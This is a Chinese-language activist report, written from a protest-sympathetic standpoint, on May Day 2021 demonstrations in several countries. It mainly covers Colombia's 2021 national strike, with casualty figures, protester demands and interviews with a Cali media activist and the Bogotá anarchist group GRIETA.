与数百名活动家和匿名援助者一起在街头冒险是一种宝贵的经验，虽然一个五一节示威的成就对于反抗者们的整个愿景来说可能是微不足道的，但示威者相信通过这些时刻发展的关系不应该被低估。让它成为下一场抗议活动中的亲密团队。

下面是蒙特利尔示威活动的场面，人们高喊着 “每个人都讨厌警察”：

土耳其

「图」

「图」

在伊斯坦布尔举行的五一节示威活动。冠状病毒封锁措施和政治镇压的加剧，激发了公众对埃尔多安政府的愤怒。伊斯坦布尔市的冲突尤为激烈，示威者试图占领具有象征意义的塔克西姆广场—— 相邻的**Gezi**公园是**2013**年大规模抗议活动的中心。

那里的示威活动遭到了警察的暴力回应，人群被警察反复使用胡椒喷雾和催泪瓦斯袭击。超过200人因抗议活动而被捕。

法国

「图」

「图」

巴黎，五一节示威活动上的无政府主义者：

数千人聚集在巴黎，纪念五一劳动节。警察袭击了人们，使用了大量的人群控制弹药，并在多个地方驱散了示威。虽然示威者面临警察的严重暴力，但他们仍然坚守阵地。

五一节动员会的参与者还向150年前发生的历史性巴黎公社致敬。

巴黎，抗议者向警察投掷垃圾和石块，警察用催泪弹回击

缅甸

「图」

「图」

缅甸仰光，建筑工人的五一节示威活动：

英国

「图」

「图」

伦敦，特拉法加广场，五一节抗议活动，有演讲（没有找到演讲视频）：

德国

「图」

「图」

柏林的五一节示威活动，示威者点燃路障以阻止防暴警察：

这场示威活动超过20,000人参加，其中自治主义者的比例相对较低（相比其他国家），接近50%，但是警方的镇压行动专门瞄准自治主义者。活动家报告警方在无政府主义者街区前毫无理由地升级维稳态势。

警方先是用压缩阵型将示威队伍挤在一起，但迅速将无政府主义者和反政府组织的人群隔离开。于是这场示威活动是在被强行降低规模的状况下继续的。

本来应该是计划中所有人的安全之地，但在警察袭击后，已不再可能。正如警察局长 Slowik 指出的那样，局势 “在短时间内” 升级。在此过程中，警察完全失去了控制，不得不一次又一次撤退。

示威开始时，**NeuköllnArcarden** 发生了警察暴力镇压和残酷袭击。示威者受伤的人数高达两位数。此外，警察还逮捕了一些人，大概是**100**多人。但是，与最近几年相比，这种状况看起来要好得多，因为一定程度上示威者可以防止警察通过袭击逮捕人们。柏林

哥伦比亚

「图」

「图」

在哥伦比亚，五一节为正在进行的反对总统伊万·杜克的大规模政治运动添加了精彩。

法外杀戮、贫困、压迫交织在一起。哥伦比亚是用暗杀对付反抗者的著名国家之一，去年到现在已经发生124起大屠杀，这就是为什么反抗者说：“我们已经没什么可失去的了”。

这些都不是新的。几十年来，保守派政治阶层已经成为国家与霸权全球经济之间的中介。他们通过消灭人民、窃取土地和控制多数工人来系统性地维持这一地位。这是一种变相的专政，他们拥有足够多的武器和资源，可以束缚整个国家数十年。

令人震惊的是，在疫情危机之中，哥伦比亚政府决定提高中下阶层的食品税。当人们饥饿时，提高粮食价格是没有道理的。更为可耻的是，拟议的改革不仅会伤害日常生活的人们，而且会进一步丰富该国最富有的垄断者。

五一节标志着连续第四天的全国性示威活动，反对杜克的税收改革法案，该法案旨在大幅提高全国的税率。哥伦比亚目前是世界上税收收入最低的国家之一，而政府正以此为理由增加税收，不仅对企业，而且对穷人和工人阶级加税。这正值许多人因冠状病毒大流行而面临更多经济困难的时候。

决定国家方向和数百万人的未来的决定完全由政治、军事和经济精英做出。他们通过了大量有利于银行和帝国的法律，有利于北美、亚洲和欧洲金融利益的法律，在窃取其他人的资源后给予自己豁免权的法律，使他们在当地和全国范围内保持权力的法律。这些法律是闭门批准的，没有任何公开辩论。这方面最明显的例子之一是对哥伦比亚医疗系统进行修改的法律改革。这项改革于2021年3月16日提出，虽然仍未被国会通过，但其在立法机构的支持者在4月26日晚采取了秘密行动，试图在人们关注税收改革的时候将其通过。

这项健康改革可能比COVID-19本身更糟糕。从本质上讲，它旨在实施哥伦比亚医疗系统的全面私有化。人们将不得不支付保险费，否则EPS（哥伦比亚的公共健康保险）将拒绝为人们提供医疗服务。需要通过EPS就医的人必须证明他们正在好好照顾自己，没有做任何事导致他们生病或受伤；如果保险机构能够证明不是这样，它将能够拒绝为人们投保，迫使人们自掏腰包。这个方案也是为了终止公共市政疫苗接种计划 —— 在大流行病的高峰期！—— 并让保险供应商有权决定如何提供这些服务以及向谁提供。

同样，据估计，1993年将卫生系统私有化的现行卫生法已经由于缺乏医疗或过失而导致**100**万人死亡，比武装冲突造成的伤亡人数更多。

示威者和警察之间的冲突在卡利市尤为突出，据报道已有**6**人被杀。土著活动家在抗议活动中也发挥了关键作用，并拆除了多个殖民时代的雕像。牌子上写着：“即便COVID-19没有杀死我们，丧心病狂的政府也肯定会杀死我们“

哥伦比亚：“为我们死去的朋友，一分钟的沉默和一生的战斗。”

最后

「图」

由于语言问题，小语种的内容可能被本报告所遗漏，如果您了解其他国家的五一节抗议活动，欢迎联系我们，我们将补充本文的内容。

不要错过我们此前制作的另一份关于五一节150年历史的快照《五一节：勇气和抵抗的故事》，更希望本报告能给中国的反抗者带来激励。

五一节快乐！未来快乐！〇

原文

"他们认为杀几个人就能制服我们，而我们变成了数百万人" - iyouport

反抗者-寻求经验长读

今年上半年意义最深远的反抗运动之一：他们不只是想要一个新政府，他们想要结束新自由主义。

本文分为4部分；

Part I：从前线角度介绍这场战斗 —— 摆脱资本和国家的支配； 摆脱权力掮客，实现真正代表人民的斗争。

正面射杀、暗杀、强迫失踪、打死打伤、拘留判刑 …… 各种血腥残酷的镇压接连不断，但没有任何手段能阻止抗议者的前进，正如抗议者所言：“他们认为杀几个人就能制服我们，而我们变成了数百万人”。这就是斗争的力量，也是这些古老的战士的榜样。

Part II：互助就是战斗力，当人们凝聚起来时，每个人都是最强大的。

先切断互联网，再进行封锁，然后开始大规模屠杀民众，这种做法已经非常普遍；更有，警方使用未登记的枪支射杀抗议者，以避免留下证据；他们还会渗透到抗议者群体中，进入游行队伍 …… 复杂的镇压手段需要更迅速和更智慧的应对战术，什么才是反抗者最有力的武器？

活动家总结了一些经验教训。

Part III：这场抗议活动并不是来自有组织的、政治上的左翼；被举起的核心诉求并不具备代表性，甚至在每个运动内部，领导层和普通参与者之间也存在着紧张关系。然而，这有任何问题吗？并没有。

已经一千名运动领袖被暗杀，女性抗议者被警察强奸，但抗议者只是变得越来越多。如何理解这一强大的决心和凝聚力？

从更广泛的政治经济角度来看待抗议活动将更加清晰。

Part IV：正如我们一直在强调的，没有任何问题是纯粹的 “国内问题”；镇压者一直在全球联合、彼此模仿镇压经验和交易镇压武器，如果反抗者不能联合起来，将无法取得成功。

Part I

「图」

“相反，我们变成了数百万”

「图」

尽管国家进行了残酷的镇压，但哥伦比亚的大罢工一直在持续。

这场起义在很大程度上是无领导的，而声援已经扩大到包括哥伦比亚社会的广泛领域，令人印象深刻。原住民和非洲裔哥伦比亚人运动、同性恋者和变性人、工人、学生、因大流行病而失去不稳定工作的人 …… 正如最近世界各地的许多其他起义一样，这次起义首先是由年轻人推动的，他们知道他们拥有任何未来的唯一希望就是现在为之奋斗。数百万人团结一致，共同抵抗这个令人无法生存的条件和可怕的警察暴力。

这是一场21世纪的大罢工。在这个国家，大多数人在非正规经济中从事不稳定的工作，现在又受到大流行病和政府限制的破坏，这次罢工与其说是不去工作，不如说是积极关闭一切。在许多城市，封锁已经成功地停止了商业活动，但它们有双重作用：这些集中点也是人们聚集在一起试验新的共同生活方式和相互关怀的地方，不受资本主义和国家的支配。

壁画、舞蹈、路障、护士、热气腾腾的食物、盾牌和邻居之间的交谈，对这场起义都同样重要。具有几十年经验的活动家与在前线的年轻反抗者之间分享了知识和技能。人们将快乐和关怀的勇敢表达与铁一般的战斗决心相结合。

在战术上与过去几年的其他起义相呼应 —— 香港、智利、美国—— 但这次罢工的横向组织很重要：这代表了哥伦比亚过去集中化的武装斗争和工会运动的重大突破。公民集会已经出现，以处理决策问题；领导人不被信任、被忽视；人们对国家没有什么信心。

在一个几十年来只通过恐惧和死亡进行统治的国家里，这是有道理的，但是，随着抗议活动中被谋杀、受伤和失踪的人数不断增加，那些上街的人的勇敢精神令人鼓舞。你可以在这里为卡利的抗议活动捐赠医疗用品，或者更好的是，组织一次声援示威。哥伦比亚的大部分武器预算来自于美国。自5月17日哥伦比亚总统伊万·杜克全面部署警察和军队以清除所有封锁以来，国际声援就更加关键了。

以下是 Medios Libres Cali 的一份报告，该报告最初于5月11日以西班牙语发表，并在5月12日和5月17日分别对卡利和波哥大的反抗运动参与者进行了两次采访。这些内容共同记录了哥伦比亚的一场历史性的运动，为世界各地即将发生的运动树立了重要的先例。抗议者沿着卡利的 Paso del Comercio 前进

有尊严的反叛和社会组织

「图」

我们是谁，我们如何以及为什么罢工？——

「图」

“我们罢工是因为我们不能再忍受了”。工人阶级社区对这次罢工的最佳描述是将哥伦比亚的情况比作一个压力锅：罢工是大量不满情绪沸腾的表现。其中有四项灾难性的改革方案，它们攻击了最贫穷的社区，并使特权阶层受益：税收改革将对主食征收19%的增值税；医疗改革将医疗服务私有化，并取消了医疗服务的使用权；养老金改革将资金转移到私人基金；以及劳动改革可能使最低工资出现例外。

但是，改革方案只是压倒骆驼的那根稻草。这是一个被贫困和不平等长期折磨的社会；一个几十年来一直被战争所困扰的国家，一个每天都在展示其真实面目的毒品国家。日复一日，民主的外衣被褪去，露出了独裁的面目。这就是为什么社区拒绝接受这些改革，因为他们确实不能再忍受了。

早在2019年，所谓的 “杜克方案” 就引发了一场大规模的反抗动员，反抗者使国家瘫痪了近两个月，被称为21N（2019年11月21日，是那次罢工开始的日期）。深夜，在闭门造车的情况下，政府—— 由极右翼支持的政府，签署了一项法令，成立了国家金融控股公司 Grupo Bicentenario，尽管抗议活动已经要求撤回该项目，作为罢工的十个不可谈判的要点之一。Grupo Bicentenario 由19家金融公司组成，包

括 Banco Agrario、Findeter、Finagro、Icetex 和国家储蓄基金。

似乎之前所有的暴行还不够。据真相委员会称，自1985年以来，有超过3万人失踪，这是持续攻击社会运动的一部分，特别是系统性地针对土著社区的镇压。这是一个被暴力滋养的国家，在**2002**年至**2008**年期间，有**6402**起法外处决被证实。根据和平特别裁判团（**JEP**）的一份报告，自**2016**年以来，有超过**900**名有影响力的社会运动参与者被谋杀，这是仅来自 **Indepaz-101** 的数据，仅限**2020**年。农村社区的流离失所正在进行，根据哥伦比亚监察员办公室的数据，**2020**年有**28,509**人被暴力驱逐和禁锢。同时，这还是一个生活在饥饿中的国家 —— 到2020年中期，国家卫生研究所已经记录了至少9151名5岁以下儿童急性营养不良的病例 —— 经济已经被这一流行病完全破坏了。

所有的不满形式加在一起，使许多人觉得罢工是为了自己的当务之急。这就是为什么如此多的人站出来声援，并带着愤怒回到街头，而且更重要的是，没有恐惧。成千上万没什么可失去的人选择参加现在已经持续了14天的罢工。这次罢工属于人民、邻里、母亲、雇员、学生、社会运动、足球流氓、工人、黑人和土著社区、卡车司机、出租车司机、农民、妇女和所有LGBTQI＋人员。更重要的是，这次罢工属于这个国家的工人阶级青年。这上面写着“同性恋和前线人员”

哥伦比亚人民厌倦了不被倾听，厌倦了徒劳无功的游行，这些游行已经到达了权力中心，最后却落到了权力掮客的手中，这些掮客对不可谈判的事情进行谈判。而此次罢工在下层社区的深处开始发酵，在祖母和邻居、母亲和关心青年的教师的口中开始发酵。

罢工将人们聚集和集中在城市的入口处而不是广场，在关键的十字路口而不是市政大楼，在工人阶级的社区而不是旅游区，这不是巧合：这些地方真正代表了人民的东西。

无论是卡拉斯基利亚（财政部长）的辞职，还是税收改革的撤销，都没能阻止这一抗议浪潮。罢工分享了我们人民的颜色和面孔，分享了街区的感觉。

在集中点内，那些长期在社会上被忽视的人们开始成为主角，那些没有发言权的人们想要一个未来。捍卫该地区的英雄出现了，他们是前线工作者，是有组织地反对以ESMAD（哥伦比亚防暴警察）为首的国家机器及其行刑队的青年。

在这场造成大量死亡的城市战争中，出现了简易的医疗活动、护士和

护理人员：人民照护人民，人民自我治疗。母亲们带着她们的爱和调料来到街头，准备社区餐。她们点燃炊具，烧火，就有了几千人的食物，因为这就是人们坚持和维持反抗的方式。人权捍卫者用自己的光芒照耀着人们：在枪林弹雨中，他们保护着人们，确保我们在阴险的独裁政权的黑暗中能够回家；他们不停地搜寻，直到找到那些被国家的懦夫们强迫失踪的人。

【注：对哥伦比亚抗议事件的描述经常提到 “puntos de concentración”、“puntos de restencia” 或 “puntos de paro”：字面意思是 “集中点”、“阻力点” 和 “打击点”。因为它是如此普遍，并且值得关注这一特定战术。这些集中点结合了阻止商业的功能、提供食物和其他必需品的自由分配，并作为自由表达的空间 —— 人们在这里超越国家和资本的界限彼此结识，也是社会生活的空间。】路障上的两名前线抗议者使用路标作为盾牌

政府的回应

「图」

哥伦比亚政府自称是一个 “法治社会的国家”，但在哥伦比亚，没有人知道法律是什么，只能通过国家对人民使用的武力和系统性的忽视来识别。

在这个国家，死亡和失踪的人数是可怕的。我们已经看到了几十年来堆积起来的严峻的统计数据，沐浴在血泊中的村庄，构成整个国家历史的暴力浪潮。但是，在过去14天的大罢工和广泛抗议中发生的事，已经作为一个独裁国家的揭幕而刻在了集体记忆中。人们经历了城市的军事化，警察暴力的过度，国家暴力，无辜者死于警察之手，强迫失踪，以及准军事部队和国家维稳部队的联合。这就是乌里韦的遗产及其准国家战争结构的残酷诚实性。

Temblores 和 Indepaz 这两个人权组织在5月9日发布了一份严厉的报告，其中充满了令人不寒而栗的数字：总共有47人被谋杀，39人被证实是被警察杀害的。在这些案件中，36起发生在考卡山谷省（相当于哥伦比亚的州）（35起在卡利，1起在云博）。除此之外，全国至少有1876起警察暴力案件，包括以下情况：

- 278名身体暴力的受害者
- 963名抗议者被任意逮捕
- 356起针对和平抗议的暴力干预事件
- 28人眼睛受伤

- 111人被实弹射击
- 12人遭到性侵犯
- 500人失踪

示威者手持罢工期间遇难者的姓名

这种国家暴力在哥伦比亚城市是前所未有的。国家正在把社会抗议当作一场不宣而战的战争；数量惊人的警察和令人发指的武力使用（尤其是枪支，与狙击手和直升机配合，向毫无防备的民众射击），现在已经成为该国最受压迫的城市的一部分。街道和社区已经变成了战场。山区和丛林、农村小路和乡镇对这种生活已经经历了几十年的时间。

恐惧的策略是可怕的。前总统、前参议员和民主中心党领导人阿尔瓦罗·乌里韦·贝莱斯、哥伦比亚武装部队（FFAA）总干事爱德华多·萨帕特罗、国防部长迭戈·莫拉诺、总检察长办公室以及其他极右翼政客等高官都发表了可怕的声明，公开向示威者宣战。值得注意的是，极右翼 Uribista 机器在武装应对抗议活动时煽动的是卡利的白人精英团体所使用的话语：用 “恐怖分子” 这样的词汇来指称抗议者、并同样地指称土著明加(minga)、游击队，或将武器偷运到集中点的人们。

【注：Álvaro Uribe Vélez 于 2002 年至 2010 年担任哥伦比亚右翼总统，因其腐败以及与准军事和贩毒活动的联系而臭名昭著。他是哥伦比亚毒品-准军事-经济-国家权力综合体的象征，以至于他的名字就是这种趋势的代名词。因此，“Uribista” 被用来描述与哥伦比亚准军事主义相关的某种右翼政治。以下的采访部分中将有更多详细解释。】

【注：明加 “minga” 一词在安第斯地区的几种土著文化中使用。它没有英文翻译。它可以指为社区的利益而自愿的、快乐的集体劳动形式；它还带有参与这些活动的人们的集体认同感。明加人不仅限于土著身份的人；正如这里所证明的那样，它邀请来自不同背景的其他人加入并参与minga。】

有数以百计的视频显示，武装部队、**ESMAD**、警察、情报人员和有组织的武装公民攻击抗议活动和和平集会，将枪支对准人群，在抗议者中散播恐怖，并在街头开枪、打伤和杀死人们。尽管如此，国家媒体不仅可耻地掩盖了现实情况，而且还按照国家的说法污蔑了抗议行动。有**500**多人在示威期间被拘留后被失踪，这一事实表明侵犯人权的严重性。据 **Temblores** 报道，其中两名失踪者在**2021**年**5**月**7**日被发现死亡。

警察曾直接向行使抗议权的示威者开火，用社区厨房和简易路障封闭道路。但最危险的攻击是国家维稳部队和武装平民共同组织的攻击：一个富有的、种族主义的、阶级主义的、Uribista 的暴徒，以类似于白人至上主义者的方式对示威者进行有组织的攻击，并得到警察的支持和保护。这是一个独裁政权吗？一个准国家？

【注：这和美国发生的事一样，在这里看到《武装暴徒受到警察的鼓励以镇压反抗者，这甚至不是新鲜事：通过BLM（8）》】路障前抗议者和士兵之间的紧张对峙

不受治理的卡利

「图」

卡利是西南部的首都。它连接考卡和纳里尼奥等南部地区，这些肥沃的土地有着原住民和祖先的记忆，与太平洋和全国最大的商业海运港口布埃纳文图拉相连。这是哥伦比亚经济的一个战略走廊，也是一个长期被贫困折磨的地区，是一个战争的中心，有着多年来人们奋起反抗的历史。4月28日，当罢工开始时，米萨克（Misak）人给了这个城市一个惊喜，推翻了定居者和奴隶主塞巴斯蒂安·德·贝拉卡扎尔的雕像。

【注：Guambiano或Misak是哥伦比亚考卡省（Cauca）的原住民】

近年来，卡利一直被用作控制社会运动的军事实验室。社会组织已经注意到，在卡利使用的有组织的镇压做法后来被复制到了哥伦比亚的其他地方。

在今年的全国性罢工中，一些镇压做法的系统性令人震惊，例如在警察袭击的同时，抗议活动的集中点也会被停电。对互联网接入和社交媒体内容的操纵和审查，已经是人们熟悉的做法。我们还看到媒体将不同的社区对立起来，制造虚假的叙述，助长阶级之间的仇恨，以刺激双方的武装反应。国家在卡利市测试了许多制造战争和混乱的策略，以便随后在全国其他地区应用经过验证的镇压形式。

这个城市已经用勇气武装了自己。它已经谴责了对它发动的战争，并看到快乐、尊严和愤怒占了上风。死者的脸已经被画在墙上，提醒人们抗议者正在为这次罢工流血。有超过**35**名年轻人为这场斗争献出了自己的生命；为了他们和在这个城市被失踪的**120**人，罢工继续进行。

> “保持坚强，反叛的卡利—— 整个世界都在呼喊你的名字”。

土著人民举着CRIC的旗帜涌入

西南地区的明加

「图」

在卡利市的系统性战争中，有超过18个集中点，有一种喜悦给这场在35人死亡后似乎会失败的战斗带来了色彩。8000多名原住民从考卡省的山区和谷地赶来，为卡利市酝酿的斗争带来了食物、支持、医药、智慧和防御。

手持礼仪杖，挂着考卡土著地区委员会（CRIC）的红色和绿色旗帜，土著人明加通过 chivas（类似于公共汽车的传统交通工具）抵达，车上挤满了人和食物。传统领地当局向起义的社区表示问候，并提供他们的力量，在国家镇压下继续2021年的大罢工。人们以尊重和爱戴的态度接待了土著卫队；随着他们的到来，希望又回到了卡利的街头。“Adelante compañeros dispuestos a resistir, defender nuestro derecho así nos toque morir, Guardia Guardia, Fuerza Fuerza, por mi raza por mi tierra”—“勇往直前的同志们，即使我们必须死也要捍卫我们的权利”，队歌奏响：“前进，同志们准备反抗，誓死捍卫我们的权利”。

卫队来自考卡省的原住民。“我们来罢工是因为政府没有回应我们的要求”，一位负责其中一个厨房的纳萨族长老说；“我们将留下来，直到政府同意不实施任何税收改革，并撤回保健、劳动和养老金倡议”，其他地方的一名社区成员说，他戴着CRIC的红色和绿色相间的围巾。“我们来保卫这个被国家抛弃的城市，因为卡利的人民正在被杀害，他们现在需要的是对他们的斗争的支持，这是每个人的斗争”，明加为罢工提供的人道主义委员会的一位协调员说。一名前线人员和一名土著卫队成员携手并肩作战。

但是 Uribista Cali—— 种族主义的、准军事的卡利 —— 的一部分人计划了残酷的第二幕：右翼暴徒持枪袭击了前往 Universidad del Valle（山谷大学）的民众集会途中的土著社区成员。九名抗议者受伤；他们正在城市周围的医疗中心为自己的生命而战。

我们人民能够走到一起决定我们的未来，这确实让他们感到害怕。现在，又有12000名原住民要加入进来。“让我们看看他们能不能把我们

都杀了”，一个卫兵说，满脸愤慨，“他们认为杀了一个人就能制服我们，而我们却变成了数百万人”。这就是斗争的力量，也是这些古老的战士的榜样，因为我们都是明加人。

我们要什么？

「图」

由于政府试图镇压罢工，斗争的道路一直很复杂，但我们继续战斗。罢工点的人们在民众集会中自我组织起来，不同的城市协调他们的动员，罢工没有停止。

在许多集中点的民众大会上，作为不同地区的直接决策机构，有人提议在一些基本要求得到满足之前，不应停止罢工或封锁，其中包括：

- 失踪人员必须活着安全返回
- 国家必须为示威期间被镇压部队打死打伤的人道歉和赔偿
- 必须在全国范围内撤销 “军事援助” 的命令，必须停止对社会抗议的军事化镇压
- 和平抗议的权利必须得到保障
- Eduardo Zapateiro 将军和国防部长 Diego Molano 必须辞职
- 警察改革，包括解散ESMAD（防暴警察）
- 撤销给国家最贫困人口带来负担的改革方案
- 承诺不起诉抗议活动领导人
- 保证弱势群体的生存、食物、健康、住房、工作和教育的权利
- 走向平等的道路，如提高最低工资，减少国会议员、参议员和其他政治精英的工资
- 为年轻人提供就业和培训机会
- 为中小型企业减税
- 为最脆弱的老人提供养老金补贴

“我游行是因为我还活着”

Part II

「图」

关于哥伦比亚大罢工的两次采访

「图」

以下是两份采访。5月11日采访了卡利的一位独立媒体活动家，他不愿透露姓名；5月17日采访了波哥大的无政府主义研究和倾向跨学科小组（GRIETA）。括号（ ）中保留了西班牙语原文；括号[]是由翻译者加上的。

感谢你们同意接受这次采访。你们想如何表明自己的身份？

波哥大的***GRIETA***: 我们是无政府主义研究和倾向跨学科小组（GRIETA），成立于2013年。我们的目标是传播无政府主义伦理，为社会和生态转型做出贡献。我们集体研究无政府主义、其影响、以及作出理论贡献的可能性，以服务于建立南方的无政府主义。

在写这篇文章的时候，波帕扬市的几名警察对艾莉森·萨拉萨尔·米兰达进行了性虐待，她无法忍受这种情况，选择了自杀身亡。将这篇采访献给她和其他50位被谋杀的公民，以及罢工期间国家暴力的其他受害者。

描述一下人们是如何组织起来的。是否有领导者？人们是自主行动的吗？

卡利的媒体活动家：这是区别于这个国家发生的其他抗议活动或罢工的主要方面之一。这一次，与通常站出来示威的传统组织、政治运动、反对党和工会都有不同，这个运动完全是民众的公民罢工。这个城市以及全省和全国许多其他城市的封锁点都是由来自邻里、社区的人们建立的。出于民众的不满和对变革的渴望，他们走上街头，寻找机会。这就是为什么没有领导人或中央组织的原因；每个地区都在根据自己的节奏和能力不断壮大。新的封锁点也已经建立起来，在第一批封锁点之后几天出现。

波哥大的***GRIETA***：哥伦比亚的起义以一种远离传统的左翼政治形式的方式形成，特别是那些涉及垂直结构的和来自共产党的形式。尽管4月28日罢工的最初号召和2019年的罢工一样，来自所谓的全国罢工委员会（由劳工、民粹主义和环保组织组成），但民众运动真正组织起来了，不断推动持续的动员和抵抗日。

这不是徒劳的，因为今天是连续抗议和反抗的第20天。这场运动主要采取了有组织的自发性的形式（似乎一个矛盾的说法），因为这里并没有先锋队或指导小组来指导遵循的步骤；是民众自己，通过民众集会和街头直接行动，决定日复一日地坚持他们的异议。这种动态导致运动领导人被运动的行动所掩盖，运动的行动优先考虑关于如何继续民众抵抗的集体决策。这并不能成为传统左翼运动中不止一个想利用

环境从这场斗争中获得政治资本的人物的借口，人们指出这些人物是机会主义者。

就自主行动的团体而言，在哥伦比亚，Nasa土著社区是一个参考点。他们在不同的团体中自我组织，如考卡地区土著委员会（CRIC）、“地球母亲解放进程”，以及自2005年以来的“社会和社区明加”。作为一个民族，他们知道为自治而战意味着什么—— 自从欧洲殖民者到来后，他们一直在这样做，并继续反对现代哥伦比亚国家。我们认为，Nasa、非洲裔哥伦比亚人—— 他们也在不同的团体中自我组织，如黑人社区进程（PCN）和社区委员会—— 以及帕伦克的遗产。

就自主行动的团体而言，在哥伦比亚，Nasa土著社区是一个参考点。他们在不同的团体中自我组织，如考卡地区土著委员会（CRIC）、“地球母亲解放进程”，以及自2005年以来的“社会和社区明加”。作为一个民族，他们知道为自治而战意味着什么—— 自从欧洲殖民者到来后，他们一直在这样做，并继续反对现代哥伦比亚国家。我们认为，Nasa、非洲裔哥伦比亚人—— 他们也在不同的团体中自我组织，如黑人社区进程（PCN）和社区委员会—— 以及哥伦比亚加勒比海地区的帕伦克解放运动的遗产，都是人民自我解放的历史性斗争的例子。他们为城市地区注入了自治和社区组织的形式，这些形式正在今天的事中得到体现。

【注：Palenque de San Basilio 是加勒比海岸卡塔赫纳郊外的一个村庄。它由在 1600 年代摆脱奴隶制的非洲人创立。在它成立后的一段时间里，居民试图释放所有其他抵达卡塔赫纳的非洲奴隶，卡塔赫纳是一个主要的奴隶港口。】非洲裔哥伦比亚妇女在封锁点唱歌

谁是这场起义的参与者？工人、学生、土著人，政治倾向是什么样的？起义中的社会和政治动态是什么样的？

卡利的媒体活动家：参与者主要是来自工人阶级社区的年轻人；他们是在前线的和组织集中点的人。在街区里，他们身边有来自社区的各种不同年龄的人。但是，在罢工中聚集起来的公民运动是令人难以置信的，来自许多社会不同领域，学生运动、女权运动、环保运动、一些反对党、艺术家，所有这些都支持罢工和抗议运动。社会运动和原住民运动也加入了抗议活动。土著运动在后勤和协调方面做出了重大贡献，并得到了土著卫队的支持，这是一个有组织的团体，负责土著社区的秩序—— 他们是必须尊重的权威。澄清他们是没有武器的，这一点非常重要。

有这么多不同类型的行业、社会部门和普通人参与其中，将其全部归入一个运动是很复杂的。卡车司机加入了几天（在哥伦比亚，没有铁路，所以所有的国内运输都要使用货运卡车），出租车工会参加了几天，甚至INPEC工会（负责管理监狱的警察机构）的一个小组也参加了一些游行。所有人都对政府及其死亡政治感到不满。

由于它不是一个有计划或有组织的运动，内部的动态随着时间的变化而变化。第一天应该是为期一天的游行，最后有机地继续下去，所以第一天或头两天有示威游行，然后在每个动员和封锁点设立了民众集会。也有人说要举行更大规模的集会，可以把不同地区的声音带进来。这得到了CRIC 的支持[Consejo Regional Indígena del Cauca, or Regional Indigenous Council of the Cauca]，这是一个来自邻近省份的土著运动。

同样重要的是，这场运动已经在全国范围内发生了。卡利一直是罢工的中心，因为封锁的数量和持续维持的天数，但这并不是忽视全国各地数百次示威的理由。据多位分析家称，有超过600个城市有示威活动—— 这意味着全国一半以上的小城市，以及所有的首都城市。全国各地都有民众的不满情绪，罢工看起来是一种变革的可能性。

波哥大的***GRIETA***：这次罢工的社会和政治动态是历史性的。已经有几十年没有这么多部门组织在一起了；通常，主要的抗议者是高等教育学生、工人工会、运输工人、青年、原住民和农民，但这次有很多高中生，来自没有受教育机会的大部分人口，以及由于政府限制而导致工作变得不稳定的全职工人。值得强调的是，所有这些人都被动员起来，一起工作，填满了街道，这是从来没有过的，至少自1977年的罢工以来没有过。

政治倾向一直是吸引人们的主要原因，因为2022年的选举即将到来。总统职位有待争夺，这可能意味着 Uribismo 的彻底失败（Uribismo 是一种学说，以哥伦比亚前总统阿尔瓦罗·乌里韦·贝莱斯为首），摆脱[伊万-]杜克总统，他的反对率高得惊人，并削弱民主中心党，该党是掠夺土地、强迫流离失所、屠杀以及与贩毒者和准军事团体结盟的代名词。对于大多数中间派和中左派团体来说，这是一个机会，可以选出一个政府，使其稍微偏离一直控制着哥伦比亚领土的极端保守的极右翼，并开始工业化和农业机械化进程。目前已经在为实现这一目标进行联系，但还没有任何明确的图景。“Uribe-准军事狗娘养的”

大罢工已经进行了20天，有一个罢工委员会正在与政府谈判；然而，街头巷尾都有不满情绪，因为这个委员会并不代表那些维持封锁和人道主义走廊的抗议者的巨大情绪多样性。此外，这些工会领导人物是

在过去的全国动员中暗中谈判和出卖罢工的人。他们坚持寡头的观点，只有两名女性，其他七人与 Fajardismo 和绿党（Uribismo的特洛伊木马）有明显的联系。

【注；Fajardismo 是一个选举政治的潮流，其名字来自塞尔吉奥·法哈多 (Sergio Fajardo)，他是 2022 年大选的潜在总统候选人。法哈多一直是多起政治和腐败丑闻的对象。】

你能描述一下某个集中点的典型一天吗？谁在那里，他们在做什么？

卡利的媒体活动家：哥伦比亚—— 特别是卡利—— 是一个有着营养丰富的多元文化的地方，根据不同的地区和生活在那里的人，创造了许多不同的动态。随着时间的推移，事情也发生了变化；学习和组织也与日俱增。封锁活动主要由前线工作者举行。社区里母亲们都在社区厨房周围忙碌。也有由学生和社区中具有这些技能的人组成的医疗队。文化活动在各个点上都大放异彩：音乐会、壁画、丝网印刷、表演和其他形式的艺术在城市各处自发出现。游戏和体育是日常生活的一部分。民众集会的出现是为了做决定。这些都是一些最初的经验，但它们让很多人有了组织，并帮助抵消了主流媒体播下的污名化的叙述。

在另一种意义上，除了所有这些活动之外，动员点是社区聚集的空间。有无数的社区支持的经验值得强调。例如，在其中一个动员点，一位从事建筑工作的邻居，懂得焊接，也有相关工具，他帮助前线的参与者制作防护盾牌。几个当地的警察局（CAI）也被改造成图书馆和社区的文化空间。一个警察分局已被改造成以尼古拉斯·格雷罗（Nicolás Guerrero）的名字命名的社区图书馆，尼古拉斯·格雷罗是一名抗议者，他在罢工期间被警察杀害。

波哥大的***GRIETA***：在人道主义走廊的日子是大罢工中最有希望的部分。人们一大早就开始来到这里，一起参加艺术和教育活动。每个社区都绘制了巨大的壁画，反对警察的暴力，支持社区组织，并庆祝前线的年轻人的抵抗，这些人在这样一个不平等的国家里没有机会，每天都把自己的身体放在防线上。

食物也发挥了核心作用。社区厨房每天都在为肚子空空、没有资源的人们提供膳食。在占领公共空间的过程中，自主性得到了发展，从祖父母到儿童的普通人都参加了民众集会，需求清单从民众的全民投票和情感而非官僚机构中产生。

在这个社区建设的过程中，大部分的伤害和逮捕都发生在晚上。邻居

们选择开放自己的房子，发放食物、急救用品、小苏打水和其他资源，帮助抵抗催泪瓦斯。这些行动导致**ESMAD [**防暴警察**]** 人员攻击邻居，直接向他们的房子开火。现在进入城市街区的这种不择手段的暴力，与农村一直存在的暴力是一样的，也许这种觉醒加强了对警察改革和拆除ESMAD的呼声。像这样的社区厨房在每个封锁点都有，喂饱参与罢工的人们

警察发动了可怕的暴力，尤其是在晚上。晚上的动态是怎样的？哪些群体仍然在街头？与警察的对抗是什么样的？

卡利的媒体活动家：在夜间进行的活动已经放缓或停止，因为在罢工的头几天，正是在这些时刻，警察和武装部队进行了最严重的攻击，使用枪支和非常积极的镇压战术。在Siloé社区，**5**月**3**日晚，互联网接入被中断，而一个特别警察小组（**GOES-Grupo de operaciones especiales**，或称特别行动小组）带着长枪短炮来到这里，镇压封锁。在那个被审查的夜晚，有多位民众在附近被杀，包括一名未成年人。

